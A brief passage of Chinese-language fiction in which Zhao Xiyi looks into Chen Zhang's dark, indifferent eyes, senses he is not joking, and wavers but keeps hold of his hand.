赵希一注视着陈璋黑沉沉的眼睛,那里没有害怕,没有后悔,只有一种司空见惯的漠然。 忽然他觉得陈璋不是在开玩笑,心里一怯,下意识想退,却始终没有松开手。